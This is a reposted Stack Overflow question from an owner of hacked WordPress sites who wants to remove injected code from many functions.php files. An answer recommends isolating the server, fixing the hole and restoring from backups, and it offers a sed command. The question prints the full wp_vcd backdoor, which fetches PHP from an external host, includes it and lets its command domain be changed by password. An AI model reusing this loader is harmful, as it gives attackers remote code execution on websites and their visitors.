gpt4 book ai didi

regex - 从 Linux 中的多个文件中删除一大串文本/代码

转载 作者:塔克拉玛干 更新时间:2023-11-03 00:37:23 24 4
gpt4 key购买 nike

看来我的 Linux 服务器上的多个域已被黑客入侵 - 我不完全确定如何,我不能像黑客一样思考!但他们已经设法破解了运行 wordpress 的多个域。

我发现他们在我的多个位置的 functions.php 文件中插入了一些站点重定向代码。我有很多这样的文件,我需要很长时间才能手动删除每一段代码。是否有使用全局搜索/替换从所有文件中删除代码的快速方法?

违规代码是:

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '751486a687f91a0d030551bb518f903e'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{






case 'change_domain';
if (isset($_REQUEST['newdomain']))
{

if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code8\.php/i',$file,$matcholddomain))
{

$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}


}
}
}
break;



default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}

die("");
}




if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

function file_get_contents_tcurl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);

$data = curl_exec($ch);
curl_close($ch);

return $data;
}


function theme_temp_setup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}


if($tmpcontent = @file_get_contents("http://www.verna.cc/code8.php"))
{
extract(theme_temp_setup($tmpcontent));
}
elseif($tmpcontent = @file_get_contents_tcurl("http://www.verna.cc/code8.php"))
{
extract(theme_temp_setup($tmpcontent));
}


}
}



?>

最佳答案

如果服务器被黑,删除恶意代码不应该是您主要/唯一关心的问题。有关 Information Security 的更多信息和其他地方,但简而言之:

  • 您应该首先使服务器脱机(以避免提供恶意代码)。
  • 分析并修复允许入侵的安全漏洞。
  • 重新获得服务器的信任;最好从良好的图像中恢复;至少,通过从备份中恢复受影响的代码。

您没有备份并且不知道如何保护盒子(或者花钱让别人为您做)?有些人会争辩说,您根本没有必要拥有公共(public)服务器...


回答您的实际问题:最好使用非交互式工具(如 sed)完成此操作。如果添加的行数是恒定的并且在相同的位置,静态行号就可以:

sed -i '2,92d' file.php

关于regex - 从 Linux 中的多个文件中删除一大串文本/代码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/47284980/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com